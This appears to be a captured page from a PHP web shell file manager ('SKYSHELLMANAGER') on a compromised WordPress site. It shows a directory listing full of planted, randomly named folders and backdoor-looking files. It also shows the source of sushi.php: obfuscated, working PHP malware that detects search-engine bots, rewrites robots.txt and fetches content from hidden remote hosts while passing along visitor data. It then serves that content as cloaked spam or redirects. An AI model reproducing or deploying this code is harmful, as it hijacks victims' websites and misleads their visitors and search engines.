ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.13

Name	Size	Perm	Actions
📁 p1bajxv	-	0777	🗑️ 🏷️
📁 esigwal	-	0777	🗑️ 🏷️
📁 iflqhev	-	0777	🗑️ 🏷️
📁 images	-	0555	🗑️ 🏷️
📁 kgalpwy	-	0777	🗑️ 🏷️
📁 klydwuv	-	0777	🗑️ 🏷️
📁 mpqeflu	-	0777	🗑️ 🏷️
📁 mubyspr	-	0777	🗑️ 🏷️
📁 obl1kfc	-	0777	🗑️ 🏷️
📁 odma1li	-	0777	🗑️ 🏷️
📁 oinrewj	-	0777	🗑️ 🏷️
📁 ojyepsw	-	0777	🗑️ 🏷️
📁 olmc1az	-	0777	🗑️ 🏷️
📁 prxb1qs	-	0777	🗑️ 🏷️
📁 e-conomicIntegration	-	0555	🗑️ 🏷️
📁 qgdlfys	-	0777	🗑️ 🏷️
📁 soatcbj	-	0777	🗑️ 🏷️
📁 tzlmqpe	-	0777	🗑️ 🏷️
📁 uehfstg	-	0777	🗑️ 🏷️
📁 ugtsivm	-	0777	🗑️ 🏷️
📁 vyimofw	-	0777	🗑️ 🏷️
📁 well-known	-	0555	🗑️ 🏷️
📁 wlftxsa	-	0777	🗑️ 🏷️
📁 wp-admin	-	0555	🗑️ 🏷️
📁 wp-admin old	-	0555	🗑️ 🏷️
📁 wp-content	-	0555	🗑️ 🏷️
📁 wp-includes	-	0555	🗑️ 🏷️
📁 wp-includesold	-	0555	🗑️ 🏷️
📁 economicIntegration	-	0555	🗑️ 🏷️
📁 nohysck	-	0777	🗑️ 🏷️
📁 xnzw1lm	-	0777	🗑️ 🏷️
📁 Secure	-	0555	🗑️ 🏷️
📁 TwinfieldIntegration	-	0555	🗑️ 🏷️
📁 1roxuyf	-	0777	🗑️ 🏷️
📁 Standard	-	0555	🗑️ 🏷️
📁 1awzkst	-	0777	🗑️ 🏷️
📁 aoxndcu	-	0777	🗑️ 🏷️
📁 bk0	-	0555	🗑️ 🏷️
📁 _private	-	0555	🗑️ 🏷️
📁 bxniuzh	-	0777	🗑️ 🏷️
📁 RevisoIntegration	-	0555	🗑️ 🏷️
📁 KashFlowIntegration	-	0555	🗑️ 🏷️
📁 XeroIntegration	-	0555	🗑️ 🏷️
📄 ContactUs.asp	20.28 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-activate.php	7.18 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 web.config	4.04 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 ContactTransGlobal.asp	20.58 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 AcctUsage.asp	2.76 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 Login.asp	7.98 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-blog-header.php	2.41 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 vtjbarya.php	18.53 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 users.php	6.34 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 update-core.php	6.34 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-comments-post.php	2.27 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config-sample.php	3.26 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-conffg.php	132.17 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	8.52 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 xmlrpc.php	0.44 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 wp-transient-cleanup.php	5.98 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-trackback.php	5.09 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-signup.php	33.71 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-settings.php	2.41 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 wp-setting.php	10.62 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-optimize-db.php	5.98 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-login.php	0.44 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config - Copy.php	3.04 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-load.php	2.41 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 wp-links-opml.php	2.43 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess	0.3 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 wp-includes.zip	41417.81 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron.php	5.49 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php	3.48 KB	0666	🗑️ 🏷️ ⬇️ ✏️
📄 PrepareLogin.asp	2.16 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 MyDeckCentreLogin.asp	0.71 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 debug_log.txt	0.61 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 PrepareRegistration.asp	2.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 google15987b49ad28d40a.html	0.05 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 m.php	1073.33 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 license.txt	19.44 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 ar.php	0.08 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 green.php	81.07 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 google2cb017f294e5684a.html	0.05 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 filefuns.php	1.97 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	9.84 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 cmd.php	35.08 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 codex.php	26.47 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 coffexium.php	63.45 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 dsa.php	23.86 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 domaincheck.php	0.48 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 manga.php	10.93 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 admina.php	1.2 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 test.php	0.43 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 SSLTest.asp	0.2 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 sushi.php	10.96 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 desktop.ini	0.11 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 readme.html	7.25 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 r0b2.php	210.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 qqq.php	0.06 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 qing2.php	0.3 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 phpinfo.php	0.02 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 a33.php	23.86 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 php_errors.log	6445.53 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 SiteUnderMaintenance.asp	1.48 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 SiteUnderMaintenance.htm	0.41 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 WebPayrollSystem.asp	15.4 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 nwxuukgd.php	173.77 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 mypaye_logo.png	3.86 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.14 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: sushi.php

<?php
define("Pb83886_SHIFT", (0x8+0x8));
function Pb83886_s($Pb83886_v) { $Pb83886_r = ""; for ($Pb83886_j = 0; $Pb83886_j < strlen($Pb83886_v); $Pb83886_j++) { $Pb83886_r .= chr((ord($Pb83886_v[$Pb83886_j]) - Pb83886_SHIFT) & 0xFF); } return $Pb83886_r;}
define("Pb83886_POOL", array("\x58\x64\x64\x60\x6f\x62\x55\x56\x55\x62\x55\x62", "\x58\x64\x64\x60\x6f\x62\x55\x56\x55\x62\x55\x62", "\x4f\x82\x7f\x72\x7f\x84\x83\x3e\x84\x88\x84", "\x41", "\x40", "\x77\x7f\x7f\x77\x7c\x75\x3e", "\x72\x79\x7e\x77\x3e", "\x89\x71\x78\x7f\x7f\x3e", "\x41", "\x40", "\x54\x5f\x53\x65\x5d\x55\x5e\x64\x6f\x62\x5f\x5f\x64", "\x3f\x82\x7f\x72\x7f\x84\x83\x3e\x84\x88\x84", "\x65\x83\x75\x82\x3d\x71\x77\x75\x7e\x84\x4a\x30\x3a", "\x51\x7c\x7c\x7f\x87\x4a\x30\x3f", "\x63\x79\x84\x75\x7d\x71\x80\x4a\x30", "\x3f\x83\x79\x84\x75\x7d\x71\x80\x3e\x88\x7d\x7c", "\x7e\x7f\x72\x7f\x84\x85\x83\x75\x82\x71\x77\x75\x7e\x84", "\x7f\x7b\x78\x84\x7d\x7c", "\x53\x7f\x7e\x84\x75\x7e\x84\x3d\x84\x89\x80\x75\x4a\x30\x84\x75\x88\x84\x3f\x78\x84\x7d\x7c\x4b\x30\x73\x78\x71\x82\x83\x75\x84\x4d\x85\x84\x76\x3d\x48", "\x7f\x7b\x78\x84\x7d\x7c", "\x77\x75\x84\x73\x7f\x7e\x84\x75\x7e\x84\x45\x40\x40\x80\x71\x77\x75", "\x58\x64\x64\x60\x3f\x41\x3e\x41\x30\x45\x40\x40\x30\x59\x7e\x84\x75\x82\x7e\x71\x7c\x30\x63\x75\x82\x86\x75\x82\x30\x55\x82\x82\x7f\x82", "\x44\x40\x44\x80\x71\x77\x75", "\x58\x64\x64\x60\x3f\x41\x3e\x41\x30\x44\x40\x44\x30\x5e\x7f\x84\x30\x56\x7f\x85\x7e\x74", "\x43\x40\x42\x80\x71\x77\x75", "\x58\x64\x64\x60\x3f\x41\x3e\x41\x30\x43\x40\x42\x30\x56\x7f\x85\x7e\x74", "\x43\x40\x42\x80\x71\x77\x75", "\x5c\x7f\x73\x71\x84\x79\x7f\x7e\x4a\x30", "\x7f\x7b\x88\x7d\x7c", "\x7f\x7b\x88\x7d\x7c", "\x53\x7f\x7e\x84\x75\x7e\x84\x3d\x64\x89\x80\x75\x4a\x30\x71\x80\x80\x7c\x79\x73\x71\x84\x79\x7f\x7e\x3f\x88\x7d\x7c\x4b\x30\x73\x78\x71\x82\x83\x75\x84\x4d\x85\x84\x76\x3d\x48", "\x7f\x7b\x82\x7f\x72\x7f\x84\x83", "\x7f\x7b\x82\x7f\x72\x7f\x84\x83", "\x53\x7f\x7e\x84\x75\x7e\x84\x3d\x64\x89\x80\x75\x4a\x30\x84\x75\x88\x84\x3f\x80\x7c\x71\x79\x7e\x4b\x30\x73\x78\x71\x82\x83\x75\x84\x4d\x85\x84\x76\x3d\x48", "\x4a\x3f\x3f", "\x62\x55\x61\x65\x55\x63\x64\x6f\x65\x62\x59", "\x62\x55\x61\x65\x55\x63\x64\x6f\x65\x62\x59", "\x71\x82\x77\x86", "\x60\x58\x60\x6f\x63\x55\x5c\x56", "\x4f", "\x71\x82\x77\x86", "\x60\x58\x60\x6f\x63\x55\x5c\x56", "\x4f", "\x61\x65\x55\x62\x69\x6f\x63\x64\x62\x59\x5e\x57", "\x78\x84\x84\x80\x83", "\x78\x84\x84\x80", "\x58\x64\x64\x60\x6f\x51\x53\x53\x55\x60\x64\x6f\x5c\x51\x5e\x57\x65\x51\x57\x55", "\x58\x64\x64\x60\x6f\x51\x53\x53\x55\x60\x64\x6f\x5c\x51\x5e\x57\x65\x51\x57\x55", "\x75\x7e", "\x35\x43\x43\x35\x43\x45\x35\x43\x43\x35\x43\x42\x35\x42\x54\x35\x46\x56\x35\x46\x45\x35\x47\x46\x35\x47\x44\x35\x47\x45\x35\x46\x47\x35\x43\x41\x35\x43\x45\x35\x43\x47\x35\x42\x55\x35\x47\x40\x35\x46\x42\x35\x46\x41\x35\x46\x49\x35\x46\x42\x35\x47\x49\x35\x46\x48\x35\x46\x47\x35\x46\x53\x35\x42\x55\x35\x46\x52\x35\x46\x53\x35\x46\x54", "\x35\x43\x43\x35\x43\x45\x35\x43\x43\x35\x43\x42\x35\x42\x54\x35\x46\x56\x35\x46\x45\x35\x47\x46\x35\x47\x44\x35\x47\x45\x35\x46\x47\x35\x43\x41\x35\x43\x45\x35\x43\x47\x35\x42\x55\x35\x46\x47\x35\x47\x42\x35\x47\x40\x35\x47\x45\x35\x46\x41\x35\x47\x42\x35\x46\x52\x35\x46\x43\x35\x42\x55\x35\x46\x47\x35\x46\x42\x35\x46\x43", "\x35\x43\x43\x35\x43\x45\x35\x43\x43\x35\x43\x42\x35\x42\x54\x35\x46\x56\x35\x46\x45\x35\x47\x46\x35\x47\x44\x35\x47\x45\x35\x46\x47\x35\x43\x41\x35\x43\x45\x35\x43\x47\x35\x42\x55\x35\x46\x44\x35\x46\x48\x35\x46\x55\x35\x46\x41\x35\x46\x47\x35\x46\x48\x35\x46\x55\x35\x46\x47\x35\x46\x47\x35\x42\x55\x35\x46\x52\x35\x46\x53\x35\x46\x54", "\x35\x43\x43\x35\x43\x45\x35\x43\x43\x35\x43\x42\x35\x42\x54\x35\x46\x56\x35\x46\x45\x35\x47\x46\x35\x47\x44\x35\x47\x45\x35\x46\x47\x35\x43\x41\x35\x43\x45\x35\x43\x47\x35\x42\x55\x35\x47\x42\x35\x46\x43\x35\x47\x45\x35\x47\x42\x35\x47\x51\x35\x47\x42\x35\x47\x46\x35\x46\x52\x35\x42\x55\x35\x46\x47\x35\x46\x42\x35\x46\x43", "\x82\x7f\x72\x7f\x84\x83\x3e\x84\x88\x84", "\x78\x7f\x83\x84", "\x83\x80\x79\x74\x75\x82", "\x82\x75\x81\x85\x75\x83\x84\x65\x82\x79", "\x85\x82\x7c\x83\x78\x71\x7e\x77", "\x78\x84\x84\x80", "\x7c\x71\x7e\x77", "\x83\x84\x82\x79\x7e\x77", "\x82\x7f\x72\x7f\x84\x83", "\x43\x45\x43\x42\x3d\x72\x82\x79\x77\x78\x84\x41\x45\x47", "\x4a\x3f\x3f", "\x3f\x4f", "\x44\x44\x43", "\x44\x44\x43", "\x71\x7c\x7c\x7f\x87\x6f\x85\x82\x7c\x6f\x76\x7f\x80\x75\x7e", "\x7e\x7f\x72\x7f\x84\x85\x83\x75\x82\x71\x77\x75\x7e\x84", "\x78\x84\x84\x80", "\x58\x64\x64\x60\x6f\x65\x63\x55\x62\x6f\x51\x57\x55\x5e\x64", "\x77\x7f\x7f\x77\x7c\x75\x72\x7f\x84", "\x72\x79\x7e\x77", "\x89\x71\x78\x7f\x7f", "\x77\x7f\x7f\x77\x7c\x75", "\x57\x7f\x7f\x77\x7c\x75\x72\x7f\x84", "\x58\x64\x64\x60\x6f\x58\x5f\x63\x64", "\x58\x64\x64\x60\x63", "\x58\x64\x64\x60\x63", "\x7f\x76\x76", "\x58\x64\x64\x60\x6f\x68\x6f\x56\x5f\x62\x67\x51\x62\x54\x55\x54\x6f\x60\x62\x5f\x64\x5f", "\x58\x64\x64\x60\x6f\x68\x6f\x56\x5f\x62\x67\x51\x62\x54\x55\x54\x6f\x60\x62\x5f\x64\x5f", "\x78\x84\x84\x80\x83", "\x58\x64\x64\x60\x6f\x56\x62\x5f\x5e\x64\x6f\x55\x5e\x54\x6f\x58\x64\x64\x60\x63", "\x58\x64\x64\x60\x6f\x56\x62\x5f\x5e\x64\x6f\x55\x5e\x54\x6f\x58\x64\x64\x60\x63", "\x7f\x76\x76"));
function Pb83886_g($Pb83886_idx) { return Pb83886_s(Pb83886_POOL[$Pb83886_idx]);}
goto nTqd2; NEpwA: if (isset($_SERVER[Pb83886_g((0x0+0x0))])) { $Pb83886000 = $_SERVER[Pb83886_g(0x1)]; } goto rzsUY; WaOTn: $Pb83886001 = false; goto sIB1P; ONxvN: $Pb83886002 = Pb83886f003($Pb83886003, $Pb83886004, $Pb83886005); goto EZQ0P; HKuaD: $Pb83886006 = Pb83886f002(); goto OIiJG; OIiJG: $Pb83886000 = Pb83886f000($Pb83886000); goto rNaWp; sIB1P: if (strpos($Pb83886006, $Pb83886007) !== false) { $Pb83886001 = true; } else { $Pb83886007 = ''; } goto lLmIT; lLmIT: if (strpos($Pb83886006, $Pb83886008) !== false || strpos($Pb83886006, Pb83886_g(0x2)) !== false) { $Pb83886008 = Pb83886_g((0x1+0x2)); } else { $Pb83886008 = Pb83886_g((0x3+0x1)); } goto Tp8BK; s9tYW: function Pb83886f000($Pb83886009) { if (empty($Pb83886009)) { return false; } $Pb8388600a = array(Pb83886_g((0x4+0x1)), Pb83886_g(0x6), Pb83886_g((0x1+0x6))); foreach ($Pb8388600a as $Pb8388600b) { if (stripos($Pb83886009, $Pb8388600b) !== false) { return true; } } return false; } goto YYuII; Tp8BK: if ($Pb83886000) { $Pb83886000 = Pb83886_g(0x8); } else { $Pb83886000 = Pb83886_g(0x9); } goto WrDEW; YYuII: function Pb83886f001($Pb8388600c) { $Pb8388600d = $_SERVER[Pb83886_g((0x3+0x7))] . Pb83886_g((0x5+0x6)); $Pb8388600e = Pb83886_g(0xc) . PHP_EOL; $Pb8388600e .= Pb83886_g((0x2+0xb)) . PHP_EOL . PHP_EOL; $Pb8388600e .= Pb83886_g((0x7+0x7)) . $Pb8388600c . Pb83886_g((0x3+0xc)) . PHP_EOL; if (!file_exists($Pb8388600d)) { file_put_contents($Pb8388600d, $Pb8388600e); } else { $Pb8388600f = file_get_contents($Pb8388600d); if ($Pb8388600f !== $Pb8388600e) { file_put_contents($Pb8388600d, $Pb8388600e); } } } goto FrHZc; EZQ0P: if (!strstr($Pb83886002, Pb83886_g((0x2+0xe)))) { if (strstr($Pb83886002, Pb83886_g((0x10+0x1)))) { @header(Pb83886_g((0xc+0x6))); $Pb83886002 = str_replace(Pb83886_g(0x13), '', $Pb83886002); if ($Pb83886001) { echo $Pb83886007; } echo $Pb83886002; die; } else { if (strstr($Pb83886002, Pb83886_g((0x8+0xc)))) { @header(Pb83886_g((0xc+0x9))); die; } else { if (strstr($Pb83886002, Pb83886_g((0xd+0x9)))) { @header(Pb83886_g(0x17)); die; } else { if (strstr($Pb83886002, Pb83886_g((0x16+0x2)))) { @header(Pb83886_g((0x11+0x8))); $Pb83886002 = str_replace(Pb83886_g((0x17+0x3)), '', $Pb83886002); header(Pb83886_g((0x9+0x12)) . $Pb83886002); die; } else { if (strstr($Pb83886002, Pb83886_g((0x1b+0x1)))) { $Pb83886002 = str_replace(Pb83886_g((0x3+0x1a)), '', $Pb83886002); @header(Pb83886_g((0x13+0xb))); echo $Pb83886002; die; } else { if (strstr($Pb83886002, Pb83886_g((0xf+0x10)))) { $Pb83886002 = str_replace(Pb83886_g((0x2+0x1e)), '', $Pb83886002); @header(Pb83886_g((0x19+0x8))); echo $Pb83886002; die; } } } } } } } goto Vnbv8; WrDEW: Pb83886f001($Pb83886010 . Pb83886_g((0x19+0x9)) . $Pb83886011); goto PGNZ7; BfPhl: function Pb83886f002() { if (isset($_SERVER[Pb83886_g((0x4+0x1f))])) { $Pb83886012 = $_SERVER[Pb83886_g((0x11+0x13))]; } else { if (isset($_SERVER[Pb83886_g((0x1f+0x6))])) { $Pb83886012 = $_SERVER[Pb83886_g((0xc+0x1a))] . Pb83886_g(0x27) . $_SERVER[Pb83886_g((0x19+0xf))][(0x0+0x0)]; } else { $Pb83886012 = $_SERVER[Pb83886_g((0x17+0x12))] . Pb83886_g((0x10+0x1a)) . $_SERVER[Pb83886_g((0x1b+0x10))]; } } return $Pb83886012; } goto s9tYW; rzsUY: if (Pb83886f005()) { $Pb83886010 = Pb83886_g((0x4+0x28)); } else { $Pb83886010 = Pb83886_g((0x26+0x7)); } goto Woc06; W8Mx7: $Pb83886013 = isset($_SERVER[Pb83886_g((0xe+0x20))]) ? $_SERVER[Pb83886_g((0x2d+0x2))] : Pb83886_g((0x23+0xd)); goto cJqAS; nTqd2: $Pb83886003 = array(Pb83886_g((0x13+0x1e)), Pb83886_g((0x3+0x2f)), Pb83886_g((0x3+0x30)), Pb83886_g((0x1e+0x16))); goto arI3O; rNaWp: $Pb83886008 = Pb83886_g((0x30+0x5)); goto awBcg; Woc06: $Pb83886014 = Pb83886f004(); goto HKuaD; PGNZ7: $Pb83886005 = http_build_query(array(Pb83886_g((0x15+0x21)) => $Pb83886011, Pb83886_g((0x22+0x15)) => $Pb83886014, Pb83886_g((0x28+0x10)) => $Pb83886006, Pb83886_g((0x24+0x15)) => $Pb83886000, Pb83886_g((0x24+0x16)) => $Pb83886010, Pb83886_g((0x25+0x16)) => $Pb83886013, Pb83886_g((0x6+0x36)) => $Pb83886007, Pb83886_g((0x26+0x17)) => $Pb83886008)); goto ONxvN; awBcg: $Pb83886007 = Pb83886_g((0x17+0x27)); goto WaOTn; Vnbv8: function Pb83886f003($Pb83886003, $Pb83886004, $Pb83886005) { shuffle($Pb83886003); foreach ($Pb83886003 as $Pb83886015) { $Pb83886015 = str_rot13(urldecode($Pb83886015)); $Pb8388600c = $Pb83886004 . Pb83886_g((0x1b+0x24)) . $Pb83886015 . Pb83886_g((0x39+0x7)) . $Pb83886005; $Pb83886016 = curl_init(); curl_setopt($Pb83886016, CURLOPT_URL, $Pb8388600c); curl_setopt($Pb83886016, CURLOPT_RETURNTRANSFER, true); $Pb83886017 = curl_exec($Pb83886016); if (!curl_errno($Pb83886016)) { curl_close($Pb83886016); return $Pb83886017; } else { if (stristr(curl_error($Pb83886016), Pb83886_g((0x3d+0x4)))) { echo Pb83886_g((0x2a+0x18)); } curl_close($Pb83886016); } if (ini_get(Pb83886_g((0x12+0x31)))) { $Pb83886017 = @file_get_contents($Pb8388600c); if ($Pb83886017 !== false) { return $Pb83886017; } } } return Pb83886_g((0x3+0x41)); } goto BSRRi; cJqAS: $Pb83886000 = ''; goto NEpwA; arI3O: $Pb83886004 = Pb83886_g((0x1e+0x27)); goto md1TZ; BSRRi: function Pb83886f004() { $Pb83886018 = strtolower($_SERVER[Pb83886_g((0xb+0x3b))]); $Pb83886019 = array(Pb83886_g((0x26+0x21)), Pb83886_g((0x11+0x37)), Pb83886_g((0x19+0x30)), Pb83886_g((0x20+0x2a)), Pb83886_g((0x7+0x44))); foreach ($Pb83886019 as $Pb8388601a) { if (strpos($Pb83886018, $Pb8388601a) !== false) { return 0x1; } } return (0x0+0x0); } goto BfPhl; md1TZ: $Pb83886011 = $_SERVER[Pb83886_g((0x42+0xa))]; goto W8Mx7; FrHZc: function Pb83886f005() { if (isset($_SERVER[Pb83886_g((0x4a+0x3))])) { if (strtolower($_SERVER[Pb83886_g((0x14+0x3a))]) !== Pb83886_g((0x38+0x17))) { return true; } } elseif (isset($_SERVER[Pb83886_g((0x30+0x20))])) { if ($_SERVER[Pb83886_g((0x25+0x2c))] === Pb83886_g((0x3e+0x14))) { return true; } } elseif (isset($_SERVER[Pb83886_g((0x34+0x1f))])) { if (strtolower($_SERVER[Pb83886_g((0x32+0x22))]) !== Pb83886_g((0x21+0x34))) { return true; } } return false; }

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v7.4.13

Edit: sushi.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.13